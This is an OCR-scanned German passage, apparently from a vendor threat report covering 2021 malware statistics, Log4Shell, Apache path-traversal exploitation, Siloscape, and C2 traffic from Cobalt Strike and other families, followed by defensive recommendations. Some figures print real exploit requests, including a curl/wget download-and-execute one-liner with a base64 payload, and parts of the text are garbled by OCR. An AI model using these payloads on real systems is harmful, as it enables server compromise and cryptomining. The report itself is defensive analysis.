von Sicherheitsliicken dazu, die Malware zu

verfolgen und zu kategorisieren.

Potenziell unerwiinschte Programme
(PUP), auch potenziell unerwiinschte
Anwendungen (PUA) genannt, sind die
gangigste Malwarevariante und umfassen
Programme wie Adware, Commodity-
Spyware und Browser-Hijacker. Ebenfalls
haufig genutzt werden Downloader,

mit denen Angreifer weitere Malware
oder Tools auf ein manipuliertes Gerat
iibertragen oder sonstige schadliche
Aktivitdten ausfiihren.

KRYPTOMINER /

Abbildung 8: Verteilung der Malwaretypen

2021 haben wir auerdem zahlreiche Malwarearten beobachtet, die fiir finanzielle Zwecke eingesetzt
wurden. Zu dieser Gruppe gehoren unter anderem Banken-Trojaner, Kryptominer und Ransomware.
Andere Schadsoftware wie RATs kann fiir die Uberwachung und Spionage eingesetzt werden.

DOWNLOADER

22,9 %
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Zu den gangigsten Malwarefamilien

aus dem Jahr 2021 gehdrt Berbew, ein
Trojaner, der 2004 zum ersten Mal
identifiziert wurde. Das zeigt, dass ebenso
wie bei den Sicherheitsliicken auch dltere
Malwarevarianten weiterhin von Angreifern
eingesetzt werden. Nachfolgend finden Sie
eine Auflistung der Malwarefamilien und der
jeweiligen Anwendungsfalle:

- Berbew (22,9 %) ist ein Trojaner, der
Passworter und andere sensible Daten
stehlen kann, die auf einem infizierten
Gerat gespeichert sind.

- Sivis (16,4 %) ist ein Dateivirus, der sich
durch das Einfiigen von Schadcode in
andere ausfiihrbare Dateien verbreitet.

- Vindor (15,0 %) ist eine Backdoor, {iber
die Angreifer Tasteneingaben erfassen,
sensible Daten ausschleusen und Denial-
of-Service-Angriffe ausfithren kdnnen.

- Ibashade (12,4 %), Valla (7,4 %), Miras
(5,1 %) und Xolxo (4,7 %) sind Wiirmer,
die iiber infizierte Dateien auf externen
Datentragern und Netzwerkfreigaben
verbreitet werden.

Xolxo
4,7 %
Sarodip
4,9 % 3
Miras
51% 3
VTBoss -
7,2 %
Valla
7,4 %

Ibashade

12,4 %

Gator Adware
o\ g

Berbew

N Vindor
15 %

Abbildung 9: Verteilung der Malwarefamilien

- VTBoss (7,2 %) und Sarodip (4,9 %) sind Malwarefamilien, die den beliebten Webservice fiir
Virenscans VirusTotal {iberlasten sollen, indem wiederholt zahlreiche Dateien mit individuellen
Inhalten hochgeladen werden.

- Gator Adware (3,9 %) kann das Browserverhalten der Benutzer {iberwachen und potenziell
unerwiinschte Software auf infizierte Computer herunterladen.

Trends bei den Malwaredateitypen

Malware kann auf unterschiedliche Art und Weise verbreitet werden. Haufig werden ausfiihrbare
Dateien oder Dateien zur Skript- bzw. Codeausfithrung wie PE (Portable Executable) und ELF
(Executable and Linkable Format) genutzt. Auch Dateien zur Anzeige von Inhalten wie PDF (Portable
Document Format) und Microsoft Word-Dokumente werden verwendet, beispielsweise fiir das
Phishing. In Abbildung 10 sind die zehn gangigsten Typen aufgefiihrt, die WildFire 2021 analysiert

hat.
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https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?name=Win32%2FBerbew

Windows ist das gangigste Betriebssystem, mit derzeit 1,4 Milliarden
aktiven Gerdten pro Monat. Daher ist es kaum verwunderlich, dass Angreifer
ausfiihrbare Windows-Dateien fiir ihre Malware bevorzugen.

Interessant ist jedoch, dass die 64-Bit-Malware PE64 von Angreifern
deutlich seltener genutzt wird als PE-Dateien. Das liegt vor allem daran, dass
die 64-Bit-Windows-Plattform abwartskompatibel ist und auch 32-Bit-
Anwendungen unterstiitzt. Viele Angreifer entwickeln keine 64-Bit-Malware,
solange die alten Versionen noch funktionieren. Die Nutzung von PDF-Dateien
zur Verbreitung von Malware hat im Laufe der Jahre zugenommen. Schédliche
PDF-Dateien richten in der Regel keinen direkten Schaden auf dem Gerat an.
Benutzer sollen stattdessen dazu verleitet werden, auf eingebettete Links zu
klicken. Dariiber gelangen sie dann auf manipulierte Websites, auf denen die
Angreifer versuchen, die Anmelde- oder Kreditkartendaten zu stehlen oder
Malware zu iibertragen. Diese Methode wird auch Phishing genannt.[14] Die
Phishingangriffe haben zugenommen, seit immer mehr Unternehmen auf
hybride Arbeitsmodelle setzen. Das kdnnte auch der Grund dafiir sein, dass
Angreifer mehr PDF-basierte Phishingkampagnen durchfiihren.

Vvon den 13,7 Milliarden
Samples, die WildFire 2021
erfasst hat, waren etwa 4%
(525 Millionen) schadlich -
fast doppelt so viele wie
2020.

Verdopplung der Schaddateien zwischen 2020 und 2021

Die Anzahl der von WildFire identifizierten Schaddateien nimmt mit jedem Jahr zu. Eine Analyse der
Entwicklung von 2019 bis 2021 ergab, dass die Anzahl der Malwaresamples im Jahresvergleich steigt.
Von allen Samples, die 2021 erfasst wurden, waren etwa 4 % schddlich. Das ist doppelt so viel wie

noch 2020.

= 2019 === 2020 2021

6 %

4 % -
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0% | | | | | | | |
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Abbildung 11: Prozentsatz der schadlichen Samples pro Monat fiir die letzten drei Jahre
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Fallstudien

In diesem Kapitel prasentieren wir detaillierte Analysen verschiedener Sicherheitsliicken, die in der
letzten Zeit die gravierendsten Folgen fiir Unternehmen hatten. Die ersten drei bieten einen Einblick
in Angriffe, die 2021 die gréf3ten Schdden angerichtet haben und auch weiterhin gefahrlich sind. In
den weiteren Fallbeispielen erldutern wir den Einsatz von C2-Kandlen bei Angriffen und zeigen auf,
welche komplexen Prozesse und Verschleierungsmethoden die Angreifer inzwischen einsetzen.

Damit mochten wir Sicherheitsteams helfen, die Methoden der Angreifer besser zu verstehen, damit
sie ihre Sicherheitsmafnahmen optimieren und ihren Sicherheitsstatus verbessern kénnen. Zu den
Beispielen gehoren Log4Shell, die versuchte Ausnutzung der Path-Traversal-Sicherheitsliicke auf
Apache HTTP-Servern, Siloscape (Malware speziell fiir Windows-Container) sowie verschliisselte
C2-Kandle und Cobalt Strike-Merkmale.

LogaShell: der gravierendste Cybersicherheitsvorfall im
Jahr 2021

Die Sicherheitsliicken zur Remote-Codeausfiihrung in Apache Log4j 2 (CVE-2021-
44228 und CVE-2021-45046) gehoren zweifellos zu den schwerwiegendsten

bekannten Sicherheitsliicken tiberhaupt, da zahlreiche Java-basierte Anwendungen Q
Log4j als Protokollierungsprogramm nutzen. Mit der Apache Log4j-Bibliothek
stehen Entwicklern Prozesse und Befehle zur Verfiigung, um Daten in verschiedenen @
Anwendungen zu protokollieren. In bestimmten Fallen wird in anfalligen Systemen S
durch die Log4j-Anfrage mit Sonderzeichen eine Java-Suche auf einem externen
schddlichen LDAP-Server gestartet. Dadurch wird die Remote-Codeausfiihrung

mithilfe von Log4j 2 auf dem Server des Opfers moglich. Die Apache Log4j- HTH !
Versionen bis einschlieflich 2.15.0-rc1 sind fiir diese Angriffe anfdllig. Im 1 mil I Selniln) ERine
Blogbeitrag von Unit 42[15] vom 10. Dezember 2021 wurden eine Ursachenanalyse Angriffsversuche
und erste Erkenntnisse verdffentlicht. Der Artikel wurde seitdem mit neuen wurden seit der ersten

Untersuchungsergebnissen und Informationen zu Log4Shell aktualisiert. Veroffentlichung beo-

Im dem Monat nach der éffentlichen Bekanntgabe von Log/Shell (im Dezember) haben bachtet und es werden
wir 11,01 Millionen aktive Ausnutzungsversuche verzeichnet — und es werden immer
noch neue Angriffe aufgedeckt. Wenn wir Angriffe aus internen Aktivitaten wie Red-
Team-Operationen hinzuzahlen, steigt die Anzahl drastisch. Weitere Informationen gedeckt.
zu Log4j und spezifischen Abwehrstrategien, zum Beispiel die Auswahl der korrekten
Richtlinien zur Blockierung bekannter und unbekannter schadlicher Domains
(Websites) und zur Aktivierung der Entschliisselung, finden Sie im Blog vom Unit 42.[15]

immer noch neue auf-

Path-Traversal-Sicherheitsliicke in Apache HTTP-Servern:
potenziell grof3te Gefahrim Jahr 2022

Am 21. Oktober 2021 deckte Unit 42 mehrere Versuche auf, durch Ausnutzung von CVE-2021-
41773, einer Path-Traversal-Sicherheitsliicke in Apache HTTP-Servern, schadliche Kryptominer
zu verbreiten. Wir haben 2021 fast 850.000 schddliche Sitzungen im Zusammenhang mit dieser
Sicherheitsliicke beobachtet. Da die Apache HTTP-Server duflerst beliebt sind, kénnten von diesem
Problem mehr als 30 Prozent der iiber das Internet erreichbaren Websites betroffen sein. In einigen
Fallen versuchten die Angreifer, Kryptominer per Remote-Codeausfithrung zu verbreiten.

Analyse der Sicherheitsliicken

Eine Path-Traversal-Sicherheitsliicke liegt vor, wenn eine URL S i @ 5 5 5 -
oder ein Dateipfad vor dem Zugriff auf die damit verbundene (P:OS;I— / qul_ bln_/ ' /02;'?/ ' t/?Ze/ e ]{02e/ blnl/ =l HJ_I(—:IP/ __
Ressource nicht korrekt normalisiert wird. Durch das Einfiigen ontent-Type: application/x-www-form-urlencode

einer speziellen Folge von Sonderzeichen (../) in eine URL Content-Length: 6

ist es mdglich, iiber einen Webserver mit einer fehlerhaften

Pfadnormalisierung auf sensible Ressourcen zuzugreifen. whoami

In den meisten Fallen droht dadurch eine Offenlegung von

Informationen. Je nachdem, welche Ressourcen erreichbar Abbildung 12: HTTP-Anfrage zur Codeausfiihrung

sind, kann eventuell sogar eine Remote-Codeausfiihrung

moglich werden. So kann ein Angreifer beispielsweise eine

Path-Traversal-Sicherheitsliicke ausnutzen, um auf eine Datenbank mit Anmeldedaten zuzugreifen
und sich anschliefSend mit Administratorrechten zu authentifizieren. Bei den Apache HTTP-Servern
ist eine Codeausfithrung moglich, wenn auf einem anfilligen Server das mod cgi-Modul aktiviert
ist. Mit diesem Modul kénnen normalerweise beliebige Bindardateien oder Skripte ausgefiihrt
werden, die sich unter einem bestimmten Pfad wie /cgi-bin/ befinden. Bei einer Path-Traversal-
Sicherheitsliicke kann diese Beschrankung umgangen und jede Bindrdatei und jedes Skript
ausgefiihrt werden, die im Dateisystem des Servers gespeichert sind. In Abbildung 12 ist ein Beispiel
einer HTTP-Anfrage zu sehen.
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Sicherheitsliicken wie diese kdnnen verheerende Folgen haben, da so viele Websites davon betroffen
sind. Laut einer Umfrage von W3Techs[16] nutzen vermutlich mehr als 30 Prozent der 6ffentlichen
Websites Apache HTTP-Serversoftware.

Ausnutzung in der Praxis

Schon knapp drei Wochen nachdem Apache einen Sicherheitshinweis fiir diese Sicherheitsliicke
veroffentlicht hatte, beobachtete Unit 42 erste Versuche, Webserver mit manipulierten
Kryptominern zu infizieren. In Abbildung 13 ist ein Beispiel fiir eine HTTP-Anfrage zum
Herunterladen und Ausfiihren von Schadcode zu sehen.

POST /cgi-bin/.%2e/.%2e/.%2e/.%?2e/bin/sh HTTP/1.1
User-Agent: curl/7.58.0

Accept: */*

Content-Length: 301

Content-Type: application/x-www-form-urlencoded

(curl -s http://192.168.1.64/xms || wget -q -O - http://192.168.1.64/xms || Iwp-download http://192.168.1.64/xms /tmp/
xms) | bash -sh; bash /tmp/xms; rm -rf /tmp/xms; echo
cHI0aGOuIC1jICdpbXBvenQgdXIsbGliO2V4ZWModXIsbGliLnVybGOwZW4oImhO0dHAGLY8XOTQuMzguMjAuUMzEVZCE5weSIpLnllY)|
\WQoKSkn | base64 -d | bash -

Abbildung 13: HTTP-Anfrage zum Herunterladen und Ausfiihren von Schadcode

Der Kryptominer wurde von den Entwicklern ,,PwnRig* genannt und ist eine modifizierte Version
der legitimen Open-Source-Miningsoftware XMRig (siehe Abbildung 14).

38 uvars (undefined4)param 3;

39 1 10 = *{long *) (in_F5 OFF3SET + 0x28):

4 iw = (int)param 10;

41 if L ==2) |

42 uVare = FUN_0058c98l ((int)param l,param 2,uVart,param 4,param 5,param ©,param 7,param 8,

43 (ulong *) "pwnRig (bv pwned)i\n built on Jul 1% 2021 with GCC",param 10,

44 param ll,param l2,param 13,param l4,in stack [fffffffffffffca);:

Abbildung 14: PwnRig-Meldung

Siloscape: erste bekannte

Malware speziell fiir Windows-

Con‘l'ainer Kubernetes Cluster MASTER \
Da immer mehr Unternehmen in die Cloud migrieren, .

werden Angriffe auf Cloud-Infrastrukturen fiir

Cyberkriminelle immer rentabler. Im Mérz 2021

identifizierte Unit 42[17] eine neue Malwarefamilie, cac g e C'V.ﬁdo”vls

die speziell auf Windows-Container in Kubernetes-
Clustern ausgerichtet ist. Die schddliche Backdoor
namens Siloscape hat grof3e Aufmerksamkeit

erregt, da sie die erste Malware ist, die die
Windows-Plattform in der Cloud angreift. Eine
detaillierte Analyse der Funktionen ergab, dass
damit eine bereits zuvor gemeldete Sicherheitsliicke
ausgenutzt werden kann, um Windows-Container
zu tiberwinden. Nachdem sich die Malware aus

dem Container befreit hat, kann ein Angreifer den
Server und alle Container, die sich darauf befinden,
per Remotezugriff steuern. Dadurch hat er mehr
Moglichkeiten, sensible Daten zu stehlen oder zu
verschliisseln, um von seinem Opfer Losegeld zu
erpressen. Die Aufdeckung dieser Malwarefamilie
unterstreicht, wie wichtig der umfassende Schutz aller
Cloud-Umgebungen ist — unabhdngig von Plattform
und Containerinfrastruktur. In Abbildung 15 ist
dargestellt, wie Siloscape in einer typischen Cloud-
Infrastruktur agiert.

Abbildung 15: Angriffsverlauf von Siloscape
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Verschliisselter C2-Datenverkehr: Umgehung von
Sicherheitsfunktionen

Verschliisselte C2-Kanile und Erkennungsmethoden

C2-Kandle werden von Angreifern haufig fiir die Kommunikation mit den Geraten der Opfer
genutzt. Die Malware verwendet diese Kanadle fiir verschiedene Aktionen, unter anderem, um
sensible Daten von infizierten Hosts auszuschleusen, Befehle von externen Quellen zu empfangen
oder weitere Software fiir die nichsten Angriffsschritte herunterzuladen. Fiir die Ubertragung des
C2-Datenverkehrs werden verschiedene Netzwerkprotokolle genutzt, zum Beispiel HTTP, Secure
Socket Layer (SSL) bzw. Transport Layer Security (TLS), Domain Name Service (DNS) und Internet
Control Message Protocol (ICMP). Auerdem werden sie fiir Datenverkehr von unbekannten Quellen
verwendet, der unter anderem als ,,unknown-TCP* und ,,unknown-UDP* gekennzeichnet ist.

Befehle, die von einem Angreifer in C2-Paketen an einen infizierten Host gesendet werden, sehen
oft harmlos aus. Diese Arten von C2-Datenverkehr sind mithilfe von Signaturen nur schwer zu
erfassen, denn Signaturen, die sensibel genug dafiir sind, generieren oft zahlreiche False Positives.
In Abbildung 16 ist ein Beispiel fiir ein HTTP-Paket zu sehen, das fiir die C2-Kommunikation
genutzt wird. Es sieht harmlos aus, iibertragt aber im Cookie-Wert einen Befehl der Angreifer.

GET /news.php HTTP/1.1

Host: 192.168.1.1-36

Cookie: 10eDWu=dZPp4Y/mjQRPu7LVMYWfdHR2Yo0A=

User—Agent: Mozilla/5.@ (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko

Connection: Keep-Alive

Abbildung 16: C2-Datenverkehr von PowerShell Empire

Die libertragenen Daten kdnnen verschliisselt oder verschleiert sein. Das vom PowerShell Empire-
Post-Exploitation-Tool generierte C2-Sample iibertragt bestimmte Informationen von dem
infizierten Host an einen C2-Server (siehe Abbildung 16). In Abbildung 17 ist ein weiteres C2-
Beispiel zu sehen, das von NJRat generiert wurde.

207.11]']'|Q kE2MOU40EU—| | ' |QZPC26332314188| "' | ' |FqFUCAJaYlj3h|"'|"|
21-10-05|"'|"'||"'| " |[Microsoft Windows 10 ProSP@ x86|'|"'|No|"'|"'|TEST
DY ' 1" [..1"]"]

QWRtaW5pc3RyYXRvcjogQzpcV21uZG93c1xzeXNOZWOzM1xj bWQuZXh1lAA==|" | ' |

Abbildung 17: C2-Datenverkehr der Malware NJRat

Einige Malwarefamilien nutzen verschliisselte Protokolle
wie TLS fiir die C2-Kommunikation. Die Erkennung von Extension: server_name (len=26)
verschliisseltem C2-Datenverkehr ist wesentlich schwieriger, da Type: server_name (@)

weniger Merkmale aus den Sitzungen fiir die Identifizierung zur Length: 26
Verfiigung stehen. Fiir TLS kdnnen beispielsweise nur Merkmale
wie die Zusammensetzung der Server Name Indication (SNI),
die Anzahl und die Arten der vorgegebenen Cipher Suites

oder Attribute des Serverzertifikats genutzt werden, um
Modelle fiir das maschinelle Lernen (ML) zu trainieren. In
Abbildung 18 ist ein Beispiel fiir eine DGA-generierte (Domain
Generation Algorithm) SNI in der TLS-C2-Kommunikation der
Ransomware WannaCry zu sehen.

{ PRISMA | ZuNiTaz2

Server Name Indication extension
Server Name list length: 24
Server Name Type: host_name (@)
Server Name length: 21

| Server Name: www.ypcicd4b23big.com |

Abbildung 18: DGA-generierte SNI in der TLS-C2-
Kommunikation der Ransomware WannaCry
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In einer ersten Untersuchung von Malware, die TLS verwendet, haben wir festgestellt, dass
Merkmale im ersten Handshake der TLS-Kommunikation zur Klassifizierung der schadlichen C2-
Sitzungen von Malware genutzt werden konnen. So verwenden 2,4 Prozent der Malware DGA zur
Erstellung des Domainnamens in der SNI (siehe Beispiel in Abbildung 18), aber nur 0,09 Prozent der
Malware ist in harmlosen TLS-Sitzungen enthalten. Das deutet darauf hin, dass DGA-generierte SNI
als effektiver Indikator fiir schddlichen TLS-C2-Datenverkehr dienen kénnen.

Wir haben auch festgestellt, dass viele Malwaresamples nicht vertrauenswiirdige Zertifikate
verwenden, die entweder selbstsigniert oder abgelaufen waren oder andere Anomalien bei der
Validierung aufwiesen. So erstellte beispielsweise die Malware Ursnif ein nicht vertrauenswiirdiges
Zertifikat fiir TLS-Kommunikation, das ein selbstsigniertes Zertifikat mit dem Common Name ,,**
und einer ungewohnlich langen Giiltigkeit von zehn Jahren umfasste (siehe Abbildung 19).

Certificate: 308203653082024da0030201020. 2620c9d72. f70d0101
signedCertificate
version: v3 (2)
serialNumber: 0x@0cd8d8eb26a0c9d72
signature (sha256WithRSAEncryption)
issuer: rdnSequence (@)
rdnSequence: 6 items (id-at-commonName=%,id-at-organizationalUnitName=1,id-at-
RDNSequence item: 1 item (id-at-countryName=XX)
RDNSequence item: 1 item (id-at-stateOrProvinceName=1)
RDNSequence item: 1 item (id-at-localityName=1)
1
1

RDNSequence item: item (id-at-organizationName=1)

RDNSequence item: item (id-at-organizationalUnitName=1)

RDNSequence item: 1 item (id-at-commonName=*)
RelativeDistinguishedName item (id-at-commonName=x)

Id: 2.5.4.3 (id-at-commonName)
DirectoryString: uTF8String (4)
uTF8String: *
validity

notBefore: utcTime (0)
utcTime: 2021-04-28 19:26:56 (UTC) . Self-signed certificate with
notAfter: utcTime (@) <~——extreme-long Validity common name “*”
utcTime: 2031-04-26 19:26:56 (UTC)
SUBJECTT FANSequence (07
rdnSequence: 6 items (id-at-commonName=x,id-at-organizationalUnitName=1,id-at-
RDNSequence item: 1 item (id-at-countryName=XX)
RDNSequence item: 1 item (id-at-stateOrProvinceName=1)
RDNSequence item: 1 item (id-at-localityName=1)
RDNSequence item: 1 item (id-at-organizationName=1)
RDNSequence item: 1 item (id-at-organizationalUnitName=1)
RDNSequence item: 1 item (id-at—commonName=+)
RelativeDistinguishedName item (id-at=commonName=x)
Id: 2.5.4.3 (id-at-commonName)
DirectoryString: uTF8String (4)
uTF8String: *

Abbildung 19: Selbstsigniertes Zertifikat im TLS-C2-Datenverkehr
der Ursnif-Malware

Auerdem werden in der TLS-Kommunikation von Malware haufig nicht sichere TLS-
Einstellungen genutzt. 50,7 Prozent verwendeten TLS 1.1 und niedrigere Versionen mit bekannten
Sicherheitsproblemen. Diese Versionen werden hingegen nur in 2,3 Prozent der harmlosen TLS-
Sitzungen genutzt.

Statische IPS-Signaturen erkennen zwar nicht immer verschliisselte C2-Kommunikation, doch laut
unseren Untersuchungen ist es moglich, sie mit entsprechend trainierten Modellen im Datenverkehr
in Echtzeit zu erfassen.

Cobalt Strike: modifizierte und verschliisselte C2-Kommunikation

Cobalt Strike ist eines der gangigsten kommerziellen Softwareprodukte fiir die Angriffssimulationen
von Red Teams. Da es duflerst anwenderfreundlich und inzwischen auch im Darknet verfiigbar

ist, wird es in der Cybersicherheitslandschaft zum Problem. Seine wachsende Beliebtheit —

unter Cybersicherheitsexperten und Angreifern gleichermaflen — zeigt sich auch daran, dass

Unit 42 im letzten Jahr einen Anstieg der Nutzung bei komplexen Angriffen um 73 Prozent
feststellte. Die flexiblen Konfigurationsmoglichkeiten und effektiven Angriffsfunktionen stellen

die Netzwerksicherheitsbranche in Bezug auf die Erkennung des Missbrauchs vor ganz neue
Herausforderungen. Eine solche Funktion, die die Erkennung erheblich erschwert, ist die Tarnung
von C2-Kommunikation als typischen Netzwerkdatenverkehr.

Mit dem Cobalt Strike-Framework kann ein kompromittiertes Gerat iiber ein Netzwerk mit einem
Beacon gesteuert werden. Das Netzwerkprotokoll, mit dem ein Beacon kommuniziert, kann
mithilfe der Konfigurationsdateien modifiziert werden, den sogenannten Malleable C2 Profiles. In
einem solchen Profil konnen das zu verwendende Protokoll, zum Beispiel HTTP, DNS oder Server
Message Block (SMB), und Protokolldetails angegeben werden, wie Porthummern, HTTP-Header,
DNS-Subdomains und Namen der SMB-Pipes. Doch genau diese grof3e Flexibilitdt erschwert den
traditionellen musterbasierten Signaturen die Erkennung der C2-Kommunikation.
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In Abbildung 20 und 21 ist ein Profil zu

sehen, das C2-Datenverkehr als HTTP- http-get {

Verkehr tarnt. Wenn ein Beacon die set uri el / /pixel xel e
Verbindung zum Controller aufbaut, '

sendet er Metadaten zur Identifizierung. client {

Diese Metadaten sind mit Base64

verschliisselt und in den Cookie-Header metadata {

einer HTTP-GET-Anfrage eingebettet. base64;

Der URI-Pfad wird fiir jede Anfrage header "Cookie";

nach dem Zufallsprinzip aus einer Liste
unverddchtiger Pfade gewdhlt, die im
Profil angegeben sind. Wird die C2-

Kommunikation als reguldre HTTP- server {

Anfrage getarnt, ist sie kaum noch

vom legitimen HTTP-Datenverkehr header "Content-Type"
zu unterscheiden, der durch typische

Netzwerkaktivitaten wie das Surfen im output {

Internet entsteht. print;

Abbildung 20: Ein Beispiel fiir ein Malleable C2 Profile

metadata

GET /j.ad HTTP/1.1

Accept: */*

Cookie: EJJ7s6MmG6uSaMEGUCbF4wSAXOT231xmoGvPiWVGvWvzCop/cdWBB6HTT8wCHUAZt3ut124YZitQIwyfBgTro9XxrCcibl+5df]
0JqVI4=

Sser-Agent: Mozilla/4.0 (compatible; MSIE 8.@; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727)

Host: 10.3.228.192:8080

Connection: Keep-Alive

Cache-Control: no-cache

HTTP/1.1 200 OK
Date: Wed, 4 Aug 2021 17:32:26 GMT Is command

Content-Type: application/octet-stream
Content-Length: 64

S5 | W o Gesin Ve [ e, o)\ L oS el e | Vol o o P
POST /submit.php?id=30067106 HTTP/1.1
Accept: */*

Content-Type: application/octet-stream

User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727)
Host: 10.3.228.192:86080

Content-Length: 1768

Connection: Keep-Alive .

Cache-Control: no-cache /Is command execution results
GO — h'A..._....D+.AJVP..... S....1.6.d....... 0...710. 0. Xes evennns J(e . Ve~ 1ouunnn.. yo..r.T..d.
e e R T R reqQ. “.N.

ZUNE W) ek N LB R ) e e S R e e R 70 o o [ o] P b 1
[ P PP ol ExX8Sz.n....>da.. i BA: oY s b, B L PR L

ot oV B TA e T BUL s = o Koo JARZEY e o XBD €22 s e e o S e

anls <8.k=[-BQ.0....0.-q.a%8..... M2 Nl oY WGP R R G 2. 2555m
284..79....p+.
YC N 2B I I s e L P

il o v B A e

e | e A s |

Abbildung 21: Als HTTP-Datenverkehr getarnte
C2-Kommunikation von Cobalt Strike
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Schlussfolgerung und Empfehlungen

Netzwerksicherheitsexperten und Angreifer liefern sich ein Katz-und-Maus-Spiel, bei dem die
Cyberkriminellen ihre Techniken und Tools kontinuierlich weiterentwickeln und verstarkt auf die
Ausnutzung von CVEs und komplexe Verschleierungs- und Verschliisselungsmethoden setzen, um
die Sicherheitsmafnahmen von Unternehmen zu umgehen. Leider spielen auch noch dltere, manch-
mal langst vergessene Sicherheitsliicken eine Rolle und werden erfolgreich ausgenutzt. Die Sicher-
heitsmafinahmen miissen also absolut wasserdicht sein. Auflerdem miissen effektive und innovative
Losungen zur Erkennung und Abwehr schddlicher Funktionen stets aktualisiert werden, um mit den
neuen Angriffsmethoden Schritt zu halten. Wir haben in unseren nachfolgenden Empfehlungen die
wichtigsten Punkte zusammengestellt, die Unternehmen jetzt beriicksichtigen sollten.

Umfassende Bewertung der Netzwerksicherheit

Aufgrund der Zunahme von Telearbeit und hybriden Arbeitsmodellen kdonnen es sich Unternehmen
nicht langer leisten, nur den Schutz der internen Services und Rechenzentren zu priorisieren. Sie
miissen eine umfassende Neubewertung ihrer Netzwerksicherheitsstrategie vornehmen, um sicher-
zustellen, dass sie die Best Practices befolgen und die richtigen Sicherheitstools implementieren. Bei
der Bewertung des Sicherheitsniveaus sollten folgende Punkte beriicksichtigt werden:

- Moglichst schnelle Implementierung von Patches oder Software-Updates, damit die Systeme
immer auf dem neuesten Stand sind. Audits kdnnen einmal im Jahr durchgefiihrt werden,
um fiir eine regelmiRige Uberpriifung und Aktualisierung zu sorgen. Basierend auf unseren
Untersuchungsergebnissen empfehlen wir, sofort zu iiberpriifen, ob die SicherheitsmafSnahmen
Aktivitdten der Malware Siloscape, Berbew, Sivis, Vindor, Ibashade, VT'Boss und Gator Adware
abwehren konnen, und Patches fiir mindestens die 20 Exploits zu installieren, die in Anhang 1 und
Anhang 3 aufgelistet sind.

- Umfassender Uberblick iiber die Topologie des Unternehmensnetzwerks und die Geritenutzung,
um alle Gerdte im Netzwerk zu identifizieren. So ist sichergestellt, dass sich alle Sicherheitsteams
einen Uberblick verschaffen kénnen, und der Zeitaufwand fiir die Ersteinschétzung und
Untersuchung von Alarmen lisst sich ebenfalls reduzieren. Die Uberwachung der Angriffsfliche
und IoT-Sicherheitstechnologien sorgen fiir eine grofere Transparenz.

- Schutz von Endpunkten und anderen Gerdten vor bekannten (oder dlteren) und neuen
Bedrohungen, einschlief3lich Malware, dateilosen Angriffen und netzwerkbasierten Exploits. Dies
lasst sich durch die Implementierung von XDR-(eXtended Detection and Response-) und [oT-
Sicherheitslosungen erzielen.

- Erkennung komplexer und verschleierter Bedrohungen durch die Untersuchung der Netzwerk-,
Endpunkt-, Identitdts- und Bedrohungsprotokolle mithilfe von maschinellem Lernen und
verhaltensbasierten Analysen.

- Implementierung von netzwerkbasierten und cloudnativen Sicherheitslésungen, um bekannte
und neue verschleierte Aktivitdten im Netzwerk in Echtzeit zu erkennen und abzuwehren. Zu
diesen Losungen gehoren beispielsweise Next-Generation Firewalls, Webgateways, DNS-
Sicherheitssysteme, Malwareanalysetools und IPS (Intrusion Prevention Systems).

- Implementierung konsistenter Sicherheitslosungen in der Topologie des Unternehmens-
netzwerks , einschlief3lich Campusnetzwerken, Rechenzentren, Filialen, privaten/6ffentlichen
Cloud-Umgebungen und Umgebungen fiir mobile Mitarbeiter. Dadurch kdnnen die Sicherheits-
teams besser herausfinden, welche Probleme im gesamten Netzwerk erkannt und verhindert
werden konnen (unabhdngig vom Standort der Benutzer), und unbekannte Schwachstellen ver-
meiden. Auf diese Weise soll sichergestellt werden, dass Bedrohungen, die bereits an der Firewall
abgewehrt wurden, von der SASE-LOsung (Secure Access Service Edge) nicht tibersehen werden.
Bei einem Audit der implementierten Losungen und Sicherheitsanbieter lassen sich Bereiche
ermitteln, die konsolidiert und vereinfacht werden kénnen.

Abwehrmafinahmen fiir unbekannte Command-and-Control-
Aktivitaten

Mit der zunehmenden Nutzung von Red-Team-Tools und RATs wie Cobalt Strike ist es fiir Angreifer
leichter denn je, C2-Kandle zu verschliisseln, zu verschleiern oder vollstandig zu modifizieren, um
herkdmmliche Sicherheitslosungen zu unterwandern. Es ist wichtig, C2-Sitzungen im Datenverkehr
zu erkennen, da sie den entscheidenden Punkt zwischen dem Zugriff auf ein Netzwerk und der
Kontrolliibernahme durch den Angreifer darstellen. Statische Signaturen fiir Payloads und URLs
reichen nicht aus und kénnen neuere C2-Sitzungen nicht erkennen. Dafiir sind neue Methoden

zur Bedrohungsabwehr erforderlich, die Verschleierungstechniken identifizieren und potenzielle
Bedrohungen aufdecken kénnen. Hiufig hilft dabei ein umfassender Uberblick iiber die realen Daten
in Echtzeit (statt offline und in Sandboxes) in Kombination mit Inline-Deep-Learning-Modellen,
die wichtige Merkmale zur Erkennung der C2-Sitzungen automatisch extrahieren konnen. Einige
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Sicherheitstools, wie IPS-Services, Advanced Threat Prevention oder Services zur Analyse des
Netzwerkdatenverkehrs, nutzen mehrere cloudbasierte Inline-Deep-Learning- und -ML-Modelle,
um auch bisher unbekannte C2-Kommunikation in Echtzeit zu erkennen und abzuwehren.

Implementierung einer Zero-Trust-Strategie

Hybride Arbeitsmodelle und die Nutzung von Cloud-Ressourcen gehoren in vielen Unternehmen
bereits zum Alltag. Das bedeutet aber auch, dass die Infrastruktur nicht mehr standortbezogen,
sondern fiir zahlreiche unterschiedliche Gerate erreichbar ist — da haben Angreifer leichtes

Spiel. Durch die Implementierung einer Zero-Trust-Sicherheitsstrategie, einschlief3lich
Netzwerksegmentierung und Zugriffsmanagement, konnen Unternehmen die Ausbreitung

von Angreifern im Netzwerk effektiv verhindern. Eine solche Strategie sollte zum Ziel haben,
Kontrollmafnahmen im gesamten Unternehmen einzurichten — von On-Premises-Umgebungen
iiber Rechenzentren bis zu Cloud-Umgebungen. Auf diese Weise ldsst sich die Effizienz der
Sicherheitslosungen maximieren und das Unternehmen besser schiitzen. Unternehmen miissen den
ersten Schritt in diese Richtung wagen. Wenn sie neue Richtlinien fiir Benutzer, Anwendungen oder
Infrastrukturen in einem Bereich implementieren, ist der Anfang gemacht und die systematische
Einfiihrung dieser Strategie wird ohne Zweifel folgen.
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Anhang 1: Die Top Ten der 2021 ausgenutzten CVEs

Bezeichnung

Schwere-
grad

Anzahl
der Sit-
zungen
(in Milli-
onen)

Veroffent-
lichungs-

datum (UTC)

Art der Sicherheitsliicke

